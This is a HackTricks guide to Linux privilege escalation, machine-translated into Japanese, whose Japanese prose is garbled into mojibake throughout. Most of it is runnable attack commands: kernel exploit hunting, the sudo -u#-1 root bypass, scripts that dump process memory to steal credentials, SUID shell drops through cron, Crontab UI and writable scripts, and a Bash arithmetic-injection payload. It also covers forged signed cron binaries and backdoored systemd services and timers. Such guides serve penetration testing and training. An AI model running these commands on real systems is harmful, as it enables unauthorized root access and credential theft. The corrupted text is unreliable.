Linux Privilege Escalation
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
ã·ã¹ãã æ å ±
OS æ å ±
å®è¡äžã®OSã«é¢ããæ å ±åéãå§ããŸããã
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
ãã**PATH倿°å
ã®ä»»æã®ãã©ã«ãã«æžãèŸŒã¿æš©éããã**å Žåãããã€ãã®librariesãbinariesããã€ãžã£ãã¯ã§ããå¯èœæ§ããããŸã:
echo $PATH
ç°å¢æ å ±
ç°å¢å€æ°ã«è峿·±ãæ å ±ããã¹ã¯ãŒãããŸã㯠API ããŒãå«ãŸããŠããŸããïŒ
(env || set) 2>/dev/null
Kernel exploits
kernelã®ããŒãžã§ã³ã確èªããescalate privilegesã«äœ¿ããexploitããªãã調ã¹ã
cat /proc/version
uname -a
searchsploit "Linux Kernel"
ããã§ã¯è¯ã vulnerable kernel list ãšããã€ãã®æ¢ã« compiled exploits ãèŠã€ããããšãã§ããŸã: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
ãã®ä»ã®ãµã€ãã§ããã€ãã® compiled exploits ãèŠã€ããããšãã§ããŸã: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
ãã®ãŠã§ããµã€ããããã¹ãŠã® vulnerable kernel versions ãæœåºããã«ã¯æ¬¡ã®ããã«ããŸã:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
kernel exploits ãæ€çŽ¢ããã®ã«åœ¹ç«ã€ããŒã«ã¯:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (victim äžã§å®è¡ãkernel 2.x ã® exploit ã®ã¿ããã§ãã¯)
åžžã« Googleã§ã«ãŒãã«ããŒãžã§ã³ãæ€çŽ¢ ããŠãã ãããã«ãŒãã«ããŒãžã§ã³ãäœããã® kernel exploit ã«èšèŒãããŠããå Žåãããããã®å Žåã¯ãã® exploit ãæå¹ã§ããããšã確èªã§ããŸãã
远å ã® kernel exploitation techniques:
Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo ããŒãžã§ã³
次ã«ç€ºãè匱㪠sudo ããŒãžã§ã³ã«åºã¥ããŠ:
searchsploit sudo
ãã® grep ã䜿ã£ãŠ sudo ã®ããŒãžã§ã³ãè匱ãã©ãã確èªã§ããŸãã
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo < 1.9.17p1
Sudo ã®ããŒãžã§ã³ 1.9.17p1 ããåïŒ1.9.14 - 1.9.17 < 1.9.17p1ïŒã§ã¯ããŠãŒã¶ãŒãå¶åŸ¡ãããã£ã¬ã¯ããªãã /etc/nsswitch.conf ãã¡ã€ã«ãèªã¿èŸŒãŸããå Žåã«ãsudo ã® --chroot ãªãã·ã§ã³ãå©çšããŠãæš©éã®ãªãããŒã«ã«ãŠãŒã¶ã root ã«æš©éææ Œã§ããŠããŸããŸãã
Here is a PoC to exploit that vulnerability. Before running the exploit, make sure that your sudo version is vulnerable and that it supports the chroot feature.
For more information, refer to the original vulnerability advisory
sudo < v1.8.28
From @sickrov
sudo -u#-1 /bin/bash
Dmesg ã®çœ²åæ€èšŒã«å€±æããŸãã
ãã®è匱æ§ãã©ã®ããã«æªçšããåŸããã®äŸã«ã€ããŠã¯ smasher2 box of HTB ã確èªããŠãã ããã
dmesg 2>/dev/null | grep "signature"
远å ã®ã·ã¹ãã åæ
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
å¯èœãªé²åŸ¡ãåæãã
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
ãã docker container å ã«ããå Žåãããããè±åºã詊ã¿ãããšãã§ããŸã:
ãã©ã€ã
äœãããŠã³ããããŠããŠäœããããŠããªãããã©ãã«ããªãããŠã³ããããŠãããã確èªããŠãã ãããããäœããã¢ã³ããŠã³ããããŠããã°ããããããŠã³ãããŠæ©å¯æ å ±ããªãã確èªããŠã¿ãŠãã ããã
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
䟿å©ãªãœãããŠã§ã¢
æçšãªãã€ããªãåæãã
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
ãŸããã³ã³ãã€ã©ãã€ã³ã¹ããŒã«ãããŠããã確èªããŠãã ãããããã¯ãkernel exploit ã䜿ãå¿ èŠãããå Žåã«äŸ¿å©ã§ããå®è¡ãããã·ã³ïŒãŸãã¯é¡äŒŒã®ãã·ã³ïŒã§ã³ã³ãã€ã«ããããšãæšå¥šãããŠããããã§ãã
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
ã€ã³ã¹ããŒã«ãããè匱ãªãœãããŠã§ã¢
ã€ã³ã¹ããŒã«ãããŠããããã±ãŒãžããµãŒãã¹ã®ããŒãžã§ã³ã確èªããŠãã ãããäŸãã°ãå€ã Nagios ããŒãžã§ã³ãååšããããã escalating privileges ã«æªçšãããå¯èœæ§ããããŸãâŠ
çãããã€ã³ã¹ããŒã«æžã¿ãœãããŠã§ã¢ã®ããŒãžã§ã³ã¯æåã§ç¢ºèªããããšãæšå¥šããŸãã
dpkg -l #Debian
rpm -qa #Centos
SSHã§ãã·ã³ã«ã¢ã¯ã»ã¹ã§ããå Žåããã·ã³å ã«ã€ã³ã¹ããŒã«ãããŠããå€ãè匱ãªãœãããŠã§ã¢ã確èªããããã« openVAS ã䜿çšããããšãã§ããŸãã
[!NOTE] > ãããã®ã³ãã³ãã¯å€§éã®æ å ±ã衚瀺ãããã®å€§éšåã¯åœ¹ã«ç«ããªãå¯èœæ§ããããããOpenVASã®ãããªã€ã³ã¹ããŒã«æžã¿ãœãããŠã§ã¢ã®ããŒãžã§ã³ãæ¢ç¥ã® exploits ã«å¯ŸããŠè匱ãã©ããããã§ãã¯ããã¢ããªã±ãŒã·ã§ã³ã䜿çšããããšãæšå¥šããŸã
ããã»ã¹
å®è¡ãããŠãã ã©ã®ããã»ã¹ ã確èªããã©ã®ããã»ã¹ã æ¬æ¥ããå€ãã®æš©éãæã£ãŠããã ããã§ãã¯ããŠãã ããïŒäŸãã° tomcat ã root ã«ãã£ãŠå®è¡ãããŠãããªã©ïŒ
ps aux
ps -ef
top -n 1
åžžã«electron/cef/chromium debuggers running, you could abuse it to escalate privilegesãåäœããŠããªãã確èªããŠãã ãããLinpeasã¯ããã»ã¹ã®ã³ãã³ãã©ã€ã³å
ã®--inspectãã©ã¡ãŒã¿ããã§ãã¯ããŠããããæ€åºããŸãã
ãŸããããã»ã¹ã®ãã€ããªã«å¯Ÿããprivilegesã確èªããŠãã ãããäžæžãã§ãããã®ããããããããŸããã
Process monitoring
ããã»ã¹ã®ç£èŠã«ã¯pspyã®ãããªããŒã«ã䜿çšã§ããŸããããã¯ãè匱ãªããã»ã¹ãé »ç¹ã«å®è¡ãããå Žåãäžå®ã®æ¡ä»¶ãæºãããããšãã«ç¹å®ããã®ã«éåžžã«æçšã§ãã
Process memory
ãµãŒãã®äžéšãµãŒãã¹ã¯credentials in clear text inside the memoryãä¿åããããšããããŸãã
éåžžãä»ã®ãŠãŒã¶ã«å±ããããã»ã¹ã®ã¡ã¢ãªãèªãã«ã¯root privilegesãå¿
èŠã«ãªããããããã¯éåžžãæ¢ã«rootã§ããã«å€ãã®credentialsãèŠã€ããããšãã«åœ¹ç«ã¡ãŸãã
ãã ããéåžžãŠãŒã¶ãšããŠèªåãææããããã»ã¹ã®ã¡ã¢ãªã¯èªãããšãã§ããããšãå¿ããªãã§ãã ããã
Warning
Note that nowadays most machines donât allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.
The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:
- kernel.yama.ptrace_scope = 0: åã uid ãæã€éãããã¹ãŠã®ããã»ã¹ããããã°ã§ããŸãããã㯠ptrace ãåŸæ¥ã©ããåäœããŠããæ¹æ³ã§ãã
- kernel.yama.ptrace_scope = 1: 芪ããã»ã¹ã®ã¿ããããã°å¯èœã§ãã
- kernel.yama.ptrace_scope = 2: 管çè ã®ã¿ã ptrace ã䜿çšã§ããŸãïŒCAP_SYS_PTRACE ãå¿ èŠïŒã
- kernel.yama.ptrace_scope = 3: ptrace ã«ãããã¬ãŒã¹ã¯äžåäžå¯ã§ããäžåºŠèšå®ãããšãptrace ãå床æå¹ã«ããã«ã¯åèµ·åãå¿ èŠã§ãã
GDB
ããšãã° FTP ãµãŒãã¹ã®ã¡ã¢ãªã«ã¢ã¯ã»ã¹ã§ããå ŽåãHeap ãååŸããŠãã®äžã® credentials ãæ€çŽ¢ã§ããŸãã
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB ã¹ã¯ãªãã
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
ç¹å®ã®ããã»ã¹IDã«ã€ããŠãmaps ããã®ããã»ã¹ã®ä»®æ³ã¢ãã¬ã¹ç©ºéå
ã§ã¡ã¢ãªãã©ã®ããã«ããããããŠãããã瀺ãããŸãåãããé åã®æš©éã瀺ããŸãã
ãã®mem æ¬äŒŒãã¡ã€ã«ã¯ããã»ã¹ã®ã¡ã¢ãªèªäœãå
¬éããŸããmaps ãã¡ã€ã«ãããã©ã®ã¡ã¢ãªé åãèªã¿åãå¯èœããšãã®ãªãã»ãããåãããŸãã
ãã®æ
å ±ã䜿ã£ãŠãmem ãã¡ã€ã«å
ãã·ãŒã¯ããŠèªã¿åãå¯èœãªé åããã¹ãŠãã³ãããããšã§ãã¡ã€ã«ã«æžãåºããŸãã
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem ã¯ã·ã¹ãã ã® ç©ç ã¡ã¢ãªã«ã¢ã¯ã»ã¹ããããã®ãã®ã§ãããä»®æ³ã¡ã¢ãªã«ã¯ã¢ã¯ã»ã¹ããŸãããã«ãŒãã«ã®ä»®æ³ã¢ãã¬ã¹ç©ºéã«ã¯ /dev/kmem ã䜿ã£ãŠã¢ã¯ã»ã¹ã§ããŸãã
éåžžã/dev/mem 㯠root ãš kmem ã°ã«ãŒãã®ã¿ãèªã¿åãå¯èœã§ãã
strings /dev/mem -n10 | grep -i PASS
ProcDump for linux
ProcDump ã¯ãSysinternals ã¹ã€ãŒãã® Windows åãã®å€å žç㪠ProcDump ããŒã«ã Linux åãã«åå®è£ ãããã®ã§ããå ¥æã¯ https://github.com/Sysinternals/ProcDump-for-Linux ããã
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
ããŒã«
ããã»ã¹ã¡ã¢ãªããã³ãããã«ã¯ã次ã䜿çšã§ããŸã:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _æåã§ root èŠä»¶ãåé€ããèªåãææããããã»ã¹ããã³ãã§ããŸã
- Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root ãå¿ èŠã§ã)
ããã»ã¹ã¡ã¢ãªããã®èªèšŒæ å ±
æåã®äŸ
authenticator ããã»ã¹ãå®è¡ãããŠããããšãåãã£ãå Žå:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
ããã»ã¹ããã³ããïŒããã»ã¹ã®ã¡ã¢ãªããã³ãããããŸããŸãªæ¹æ³ã¯åã®ã»ã¯ã·ã§ã³ãåç §ïŒãã¡ã¢ãªå ã®è³æ Œæ å ±ãæ€çŽ¢ã§ããŸãïŒ
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
ãã®ããŒã« https://github.com/huntergregal/mimipenguin ã¯ãã¡ã¢ãªããå¹³æã®èªèšŒæ å ±ãçã¿åºããããã€ãã®æ¢ç¥ã®ãã¡ã€ã«ãããååŸããŸããæ£åžžã«åäœãããã«ã¯rootæš©éãå¿ èŠã§ãã
| æ©èœ | ããã»ã¹å |
|---|---|
| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
æ€çŽ¢çšæ£èŠè¡šçŸ/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
ã¹ã±ãžã¥ãŒã«/Cron ãžã§ã
Crontab UI (alseambusher) ã root ã§åäœããŠããå Žå â webããŒã¹ã® scheduler privesc
web âCrontab UIâ ããã« (alseambusher/crontab-ui) ã root ãšããŠåäœããloopback ã®ã¿ã§ãã€ã³ããããŠããå Žåã§ããSSH ã®ããŒã«ã«ããŒããã©ã¯ãŒãã£ã³ã°çµç±ã§å°éããæš©éææ Œã®ããã®ç¹æš©ãžã§ããäœæã§ããŸãã
å žåçãªæé
ss -ntlp/curl -v localhost:8000ã§ loopback ã®ã¿ãã€ã³ããããããŒãïŒäŸ: 127.0.0.1:8000ïŒãš Basic-Auth realm ãçºèŠãã- éçšé¢é£ã®ã¢ãŒãã£ãã¡ã¯ãããèªèšŒæ
å ±ãæ¢ã:
- ããã¯ã¢ãããã¹ã¯ãªããå
ïŒ
zip -P <password>ïŒ - systemd ãŠãããã
Environment="BASIC_AUTH_USER=..."ãEnvironment="BASIC_AUTH_PWD=..."ãé²åºããŠãã
- ããã¯ã¢ãããã¹ã¯ãªããå
ïŒ
- ãã³ãã«ããŠãã°ã€ã³:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- 髿š©éã®ãžã§ããäœæããŠå³æå®è¡ãã (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- 䜿çšããŠãã ãã:
/tmp/rootshell -p # root shell
ããŒããã³ã°
- Crontab UIãrootã§å®è¡ããªã; å°çšãŠãŒã¶ãŒãšæå°æš©éã§å¶éãã
- localhostã«ãã€ã³ãããããã«firewall/VPNã§ã¢ã¯ã»ã¹ãå¶éãã; ãã¹ã¯ãŒããåå©çšããªã
- unit filesã«ç§å¯ãåã蟌ãŸãªã; secret storesãŸãã¯root-only EnvironmentFileã䜿çšãã
- ãªã³ããã³ãã®ãžã§ãå®è¡ã«å¯ŸããŠaudit/loggingãæå¹ã«ãã
ã¹ã±ãžã¥ãŒã«ãããjobã«è匱æ§ããªãã確èªãããrootã§å®è¡ãããã¹ã¯ãªãããæªçšã§ãããããããªãïŒwildcard vuln? rootã䜿çšãããã¡ã€ã«ã倿Žã§ããã? symlinksã䜿ã? rootã䜿ããã£ã¬ã¯ããªã«ç¹å®ã®ãã¡ã€ã«ãäœæãã?ïŒã
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Cron path
äŸãã°ã/etc/crontab ã®äžã« PATH ãèŠã€ãããŸã: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(ãŠãŒã¶ãŒ âuserâ ã /home/user ã«æžãèŸŒã¿æš©éãæã£ãŠããç¹ã«æ³šæ)
ãã® crontab å
ã§ root ãŠãŒã¶ãŒããã¹ãèšå®ããã«ã³ãã³ããã¹ã¯ãªãããå®è¡ããããšããå ŽåãäŸãã°: * * * * root overwrite.sh
ãããšãæ¬¡ã®æ¹æ³ã§ root ã·ã§ã«ãååŸã§ããŸã:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron ãã¯ã€ã«ãã«ãŒããå«ãã¹ã¯ãªããã䜿çšããŠããå Žå (Wildcard Injection)
ã¹ã¯ãªããã root ã«ãã£ãŠå®è¡ãããã³ãã³ãå ã« â*â ãå«ãŸããŠããå ŽåããããæªçšããŠäºæããªãããšïŒprivesc ãªã©ïŒãåŒãèµ·ããå¯èœæ§ããããŸããäŸ:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
If the wildcard is preceded of a path like /some/path/* , itâs not vulnerable (even ./* is not).
以äžã®ããŒãžãèªãã§ãããå€ãã® wildcard exploitation tricks ãåç §ããŠãã ãã:
Bash arithmetic expansion injection in cron log parsers
Bash 㯠((âŠ))ã$((âŠ))ãããã³ let å ã§ã® arithmetic evaluation ã®åã« parameter expansion ãš command substitution ãå®è¡ããŸãããã root cron/parser ãä¿¡é Œã§ããªããã°ãã£ãŒã«ããèªã¿åããããããç®è¡ã³ã³ããã¹ãã«æž¡ããšãæ»æè 㯠cron å®è¡æã« root ãšããŠå®è¡ããã command substitution $(âŠ) ãæ³šå ¥ã§ããŸãã
-
Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. ãããã£ãŠ
$(/bin/bash -c 'id > /tmp/pwn')0ã®ãããªå€ã¯ãŸã眮æããïŒã³ãã³ããå®è¡ããïŒãæ®ã£ãæ°å€0ãç®è¡ã«äœ¿ãããŠã¹ã¯ãªããã¯ãšã©ãŒãªãç¶è¡ãããŸãã -
Typical vulnerable pattern:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Exploitation: ããŒã¹ããããã°ã« attacker-controlled ãªããã¹ããæžã蟌ã¿ãæ°å€ã«èŠãããã£ãŒã«ãã« command substitution ãå«ãŸãæ«å°Ÿãæ°åã«ãªãããã«ããŸããç®è¡ãæå¹ã§ããããã«ã³ãã³ã㯠stdout ã«åºåããªãïŒãŸãã¯ãªãã€ã¬ã¯ãããïŒããã«ããŠãã ããã
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
ãã root ã«ãã£ãŠå®è¡ããã can modify a cron script ã倿Žã§ãããªããç°¡åã« shell ãååŸã§ããŸã:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
root ã«ãã£ãŠå®è¡ãããã¹ã¯ãªããã ããªãããã«ã¢ã¯ã»ã¹ã§ãããã£ã¬ã¯ã㪠ã䜿çšããŠããå Žåãåœè©²ãã©ã«ããåé€ããŠãããªããå¶åŸ¡ããã¹ã¯ãªãããé 眮ããå¥ã®ãã©ã«ããžã® symlink ãã©ã«ããäœæãã ã®ãæå¹ãããããŸããã
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
æžã蟌ã¿å¯èœãªãã€ããŒããæã€ã«ã¹ã¿ã 眲åããã cron ãã€ããª
BlueããŒã ã¯ãcronã§å®è¡ããããã€ããªãå®è¡åã«ã«ã¹ã¿ã ELFã»ã¯ã·ã§ã³ããã³ãããŠãã³ããŒæååã grep ããroot æš©éã§å®è¡ããåã«ã眲åãããããšãããããã®ãã€ããªã group-writableïŒäŸ: /opt/AV/periodic-checks/monitor ã root:devs 770 ææïŒã§ãsigning material ã leak ã§ããå Žåãã»ã¯ã·ã§ã³ãåœé ã㊠cron ã¿ã¹ã¯ããã€ãžã£ãã¯ã§ãã:
pspyã䜿ã£ãŠæ€èšŒãããŒããã£ããã£ãããäŸãšã㊠Era ã§ã¯ãroot ãobjcopy --dump-section .text_sig=text_sig_section.bin monitorãå®è¡ãããã®åŸgrep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.binãå®è¡ããŠãããã¡ã€ã«ãå®è¡ããŠããã- leaked key/configïŒ
signing.zipããïŒã䜿ã£ãŠæåŸ ãããèšŒææžãåäœæãã:
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
- æªæãã眮æããã«ãããïŒäŸ: SUID 㪠bash ã眮ããSSH ããŒã远å ããïŒãããŠèšŒææžã
.text_sigã«åã蟌ãã§ grep ãéãããã«ãã:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
- å®è¡ããããç¶æãããŸãŸã¹ã±ãžã¥ãŒã«ããããã€ããªãäžæžããã:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
- 次㮠cron å®è¡ãåŸ ã€ãåçŽãª signature check ãæåãããšãããªãã® payload ã root ãšããŠå®è¡ãããã
é »ç¹ã«å®è¡ããã cron ãžã§ã
ããã»ã¹ãç£èŠããŠã1åã2åã5åããšã«å®è¡ãããŠããããã»ã¹ãæ¢ããããããå©çšã㊠escalate privileges ã§ãããããããªãã
äŸãã°ã0.1ç§ããšã«1åéç£èŠããå®è¡åæ°ã®å°ãªãé ã«ãœãŒãããŠæãå€ãå®è¡ãããã³ãã³ããé€å€ããã«ã¯ã次ã®ããã«ãã:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
ãŸã䜿çšã§ããŸã pspy (ããã¯èµ·åãããã¹ãŠã®ããã»ã¹ãç£èŠããŠäžèŠ§è¡šç€ºããŸã).
èŠããªã cron jobs
ã³ã¡ã³ãã®åŸã«ãã£ãªããžãªã¿ãŒã³ãå ¥ããïŒæ¹è¡æåãªãïŒããšã§ cronjob ãäœæã§ããcron job ã¯åäœããŸããäŸïŒãã£ãªããžãªã¿ãŒã³æåã«æ³šæïŒ:
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
ãµãŒãã¹
æžã蟌ã¿å¯èœãª .service ãã¡ã€ã«
ä»»æã® .service ãã¡ã€ã«ã«æžã蟌ããã確èªããŠãã ãããæžã蟌ããå Žåã¯ãããã ä¿®æ£ã㊠ãµãŒãã¹ã èµ·åãåèµ·åããŸãã¯ åæ¢ ããããšãã«ããªãã® backdoor ã å®è¡ ããããã«ã§ããŸãïŒãã·ã³ã®åèµ·åãåŸ
ã€å¿
èŠããããããããŸããïŒã\
äŸãã°ã.service ãã¡ã€ã«å
ã«ããªãã® backdoor ãäœæã ExecStart=/tmp/script.sh ãšæå®ããŸãã
æžã蟌ã¿å¯èœãªãµãŒãã¹ãã€ããª
ãµãŒãã¹ã«ãã£ãŠå®è¡ããããã€ããªã«å¯Ÿã㊠æžãèŸŒã¿æš©éãããå Žåããããã backdoors ã«å·®ãæ¿ããããšã§ããµãŒãã¹ãåå®è¡ãããéã« backdoors ãå®è¡ãããç¹ã«æ³šæããŠãã ããã
systemd PATH - Relative Paths
次ã®ã³ãã³ãã§ systemd ã䜿çšãã PATH ã確èªã§ããŸãïŒ
systemctl show-environment
ãã¹å ã®ããããã®ãã©ã«ãã«æžã蟌ã¿ã§ããããšãåãã£ãå Žåãæš©éææ Œãå¯èœã«ãªãããšããããŸãã以äžã®ãããªããµãŒãã¹èšå®ãã¡ã€ã«ã§çžå¯Ÿãã¹ã䜿çšãããŠããç®æãæ€çŽ¢ããå¿ èŠããããŸã:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
次ã«ãæžã蟌ã¿å¯èœãª systemd PATH ãã©ã«ãå
ã«ãçžå¯Ÿãã¹ãã€ããªãšåãååã®executableãäœæãããµãŒãã¹ãè匱ãªã¢ã¯ã·ã§ã³ïŒStart, Stop, ReloadïŒãå®è¡ããããèŠæ±ããããšãããªãã®backdoor will be executedïŒéåžžãéç¹æš©ãŠãŒã¶ã¯ãµãŒãã¹ãéå§/忢ã§ããŸããããsudo -l ã䜿ããã確èªããŠãã ããïŒã
ãµãŒãã¹ã«ã€ããŠè©³ãã㯠man systemd.service ãåç
§ããŠãã ããã
ã¿ã€ããŒ
ã¿ã€ããŒã¯ååã **.timer** ã§çµãã systemd ã® unit ãã¡ã€ã«ã§ã**.service** ãã¡ã€ã«ãã€ãã³ããå¶åŸ¡ããŸããã¿ã€ããŒã¯ã«ã¬ã³ããŒæéã€ãã³ããã¢ããããã¯æéã€ãã³ãããã€ãã£ãã§ãµããŒãããŠãããéåæã§å®è¡ã§ãããããcron ã®ä»£æ¿ãšããŠäœ¿çšã§ããŸãã
ãã¹ãŠã®ã¿ã€ããŒã¯æ¬¡ã®ã³ãã³ãã§åæã§ããŸãïŒ
systemctl list-timers --all
æžã蟌ã¿å¯èœãªã¿ã€ããŒ
ã¿ã€ããŒã倿Žã§ãããªããsystemd.unit ã®æ¢åã®ãšã³ã㪠(äŸ: .service ã .target) ãå®è¡ãããããšãã§ããŸãã
Unit=backdoor.service
In the documentation you can read what the Unit is:
